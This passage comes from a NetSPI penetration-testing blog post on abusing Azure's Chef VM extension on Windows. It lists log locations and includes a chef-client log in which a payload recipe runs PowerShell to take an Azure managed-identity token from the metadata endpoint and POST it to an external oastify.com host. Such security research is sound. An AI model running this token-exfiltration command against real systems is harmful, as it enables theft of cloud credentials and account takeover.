<p class="wp-block-paragraph">If you have notice Chef installed on a Windows VM, the same log files are available, their locations have been listed below:</p>
<ul class="wp-block-list">
<li><code>C:\Packages\Plugins\Chef.Bootstrap.WindowsAzure.ChefClient\<version>\Status\0.status</code></li>
<li><code>C:\WindowsAzure\Logs\Plugins\Chef.Bootstrap.WindowsAzure.ChefClient\<version>\chef-client.log</code></li>
<li><code>C:\WindowsAzure\Logs\WaAppAgent.log</code></li>
</ul>
<p class="wp-block-paragraph">As seen above, it is possible to fetch the URL of the Chef server, on Windows, this is in a different location however.</p>
<pre class="wp-block-preformatted bash">PS > cat C:\chef\0.settings<br><br>{<br> "runtimeSettings": [<br> {<br> "handlerSettings": {<br> "protectedSettingsCertThumbprint": "E[...]",<br> "protectedSettings": "MIII[...]",<br> "publicSettings": {<br> "bootstrap_options": {<br> "chef_server_url": "x.x.x.x", <------<br> "validation_client_name": "chef-validator"<br> },<br> "CHEF_LICENSE": "accept-no-persist",<br> "runlist": "recipe[netspi::default]",<br> "chef_node_name": "azvm"<br> }<br> }<br> }<br> ]<br>}</pre>
<p class="py-3 pb-4 wp-block-paragraph">As with Linux, the <code>chef-client</code> log is a good source of information as it provides details about what the cookbook did and whether it was successful or not. This log file is also available on windows, as can be seen below:</p>
<pre class="wp-block-preformatted bash">PS > C:\WindowsAzure\Logs\Plugins\Chef.Bootstrap.WindowsAzure.ChefClient\1210.14.1.2\chef-client.log<br><br>Infra Phase starting<br>[2026-07-14T10:06:37+00:00] INFO: *** Chef Infra Client 18.11.11 ***<br>[...]<br>Resolving cookbooks for run list: ["netspi::default"]<br>[2026-07-14T10:06:46+00:00] INFO: Loading cookbooks [netspi@0.0.0]<br>Synchronizing cookbooks:<br>[2026-07-14T10:06:47+00:00] INFO: Storing updated cookbooks/netspi/metadata.rb in the cache.<br>[2026-07-14T10:06:47+00:00] INFO: Storing updated cookbooks/netspi/metadata.json in the cache.<br>[2026-07-14T10:06:47+00:00] INFO: Storing updated cookbooks/netspi/recipes/default.rb in the cache.<br> - netspi (0.0.0)<br>Installing cookbook gem dependencies:<br>Compiling cookbooks...<br>Loading Chef InSpec profile files:<br>Loading Chef InSpec input files:<br>Loading Chef InSpec waiver files:<br>Converging 1 resources<br>Recipe: netspi::default<br> * execute[payload] action run[2026-07-14T10:06:51+00:00] INFO: Processing execute[payload] action run (netspi::default line 1)<br><br>[2026-07-14T10:06:51+00:00] INFO: execute[payload] ran successfully<br> execute 'powershell.exe /c $raw = (Invoke-WebRequest -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -Headers @{Metadata="true"}).Content<br>Invoke-RestMethod -Uri "https://ptmhkh6nu50o5rtsgqkhbu908rei28qx.oastify.com" -Method Post -ContentType "application/json" -Body $raw'<br>[2026-07-14T10:06:52+00:00] INFO: Chef Infra Client Run complete in 6.5609717 seconds</pre>
<h2 id="h-conclusion" class="wp-block-heading h3-larger">Conclusion</h2>
<div class="wp-block-columns seperator is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:94%">
<p class="text-[17px] wp-container-content-47197e2f wp-block-paragraph">It’s important to note that VM extensions are an important part of administering and configuring Azure virtual machines. After reading this blog you should not aim to eliminate the use of extensions from your environment. Instead, it is important to know about the possible attack surface and the importance of building detection controls around sensitive actions and assets in your estate to help detect and prevent against abuse of legitimate services.</p>
</div>
</div>
<h3 id="h-interested-in-testing-your-azure-detective-control-capabilities" class="wp-block-heading py-3 pb-4 h3-large">Interested in testing your Azure detective control capabilities?</h3>
<div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex">
<div class="wp-block-column pt-3 is-layout-flow wp-block-column-is-layout-flow">
<div class="wp-block-group pt-4 gap-6 is-layout-flex wp-block-group-is-layout-flex"> <section
id="details-card-block_987620b5e0b05847f68a92290a5c08c8"
class="details-card hover:bg-white shadow-lg mb-4 mt-4 bg-white/50 dc-align-start dc-accent-top dc-accent-bottom dc-accent-left dc-accent-right py-2"
style="--dc-accent-color:#345367;--dc-accent-thickness:2px;">
<div class="container">
<div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[54.5rem] lg:max-w-[67.5rem] mx-auto">
<div class="dc-items divide-y divide-white/10">
<a href="https://www.netspi.com/security-assessments/detective-controls-testing/" target="_blank" rel="noopener noreferrer" class="dc-item flex items-center gap-3 py-2 dc-item--link mr-5 pl-2" style="--dc-img-size:32px;--dc-label-size:13px;--dc-val-size:18px;">
<div class="dc-item-image shrink-0">
<img
src="https://www.netspi.com/wp-content/uploads/2026/01/productivity-metrics-priority-tasks-task-prioritization-work-strategy-to-do-list-1.svg"
class="block object-contain dc-item-image__img"
alt=""
/>
</div>
<div class="dc-item-content flex flex-col">
<span class="dc-item-value font-medium leading-snug">
Detective Controls Testing </span>
</div>
</a>
</div>
</div>
</div>
<div class="dc-accent-bar dc-accent-bar--top" aria-hidden="true"></div>
<div class="dc-accent-bar dc-accent-bar--bottom" aria-hidden="true"></div>
<div class="dc-accent-bar dc-accent-bar--left" aria-hidden="true"></div>
<div class="dc-accent-bar dc-accent-bar--right" aria-hidden="true"></div>
</section>
<section
id="details-card-block_07dadf031878f144f8d2e72cc6a550c4"
class="details-card hover:bg-white shadow-lg mb-4 mt-4 bg-white/50 dc-align-start dc-accent-top dc-accent-bottom dc-accent-left dc-accent-right py-2"
style="--dc-accent-color:#333333;--dc-accent-thickness:2px;">
<div class="container">
<div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[54.5rem] lg:max-w-[67.5rem] mx-auto">
<div class="dc-items divide-y divide-white/10">
<a href="https://www.netspi.com/netspi-ptaas/cloud-penetration-testing/azure/" target="_blank" rel="noopener noreferrer" class="dc-item flex items-center gap-3 py-2 dc-item--link mr-5 pl-2" style="--dc-img-size:32px;--dc-label-size:13px;--dc-val-size:18px;">
<div class="dc-item-image shrink-0">
<img
src="https://www.netspi.com/wp-content/uploads/2026/01/azure-black.svg"
class="block object-contain dc-item-image__img"
alt=""
/>
</div>
<div class="dc-item-content flex flex-col">
<span class="dc-item-value font-medium leading-snug">
Azure Cloud Pentesting </span>
</div>
</a>
</div>
</div>
</div>
<div class="dc-accent-bar dc-accent-bar--top" aria-hidden="true"></div>
<div class="dc-accent-bar dc-accent-bar--bottom" aria-hidden="true"></div>
<div class="dc-accent-bar dc-accent-bar--left" aria-hidden="true"></div>
<div class="dc-accent-bar dc-accent-bar--right" aria-hidden="true"></div>
</section>
</div>
</div>
<div class="wp-block-column is-vertically-aligned-center pb-4 is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:300px"> <section
id="details-card-block_592f0eeb3f1e2bd9d4d1ececbd97f770"
class="details-card hover:bg-white mb-4 mt-4 bg-white/50 dc-align-between-reverse dc-accent-left py-2"
style="--dc-accent-color:#f56a00;--dc-accent-thickness:2px;">
<div class="container">
<div class="max-w-[90%] sm:max-w-[40rem] md:max-w-[54.5rem] lg:max-w-[67.5rem] mx-auto">
<div class="dc-items divide-y divide-white/10">
<a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-vm-command-execution-using-third-party-extensions-part-2/" target="_blank" rel="noopener noreferrer" class="dc-item flex items-center gap-4 py-2 dc-item--link ml-2 px-4" style="--dc-img-size:32px;--dc-label-size:13px;--dc-val-size:22px;">
<div class="dc-item-image shrink-0">
<img
src="https://www.netspi.com/wp-content/uploads/2021/02/black-arrow.svg"
class="block object-contain dc-item-image__img"
alt="Read Part Two "
/>
</div>
<div class="dc-item-content flex flex-col">
<span class="dc-item-label font-normal opacity-70 leading-tight">
Read Part Two </span>
<span class="dc-item-value font-medium leading-snug">
Salt Minion </span>
</div>
</a>
</div>
</div>
</div>
<div class="dc-accent-bar dc-accent-bar--left" aria-hidden="true"></div>
</section>
</div>
</div>
<p>The post <a href="https://www.netspi.com/blog/technical-blog/cloud-pentesting/azure-vm-command-execution-using-third-party-extensions/">Azure VM Command Execution using Third-Party Extensions – Chef</a> appeared first on <a href="https://www.netspi.com">NetSPI</a>.</p>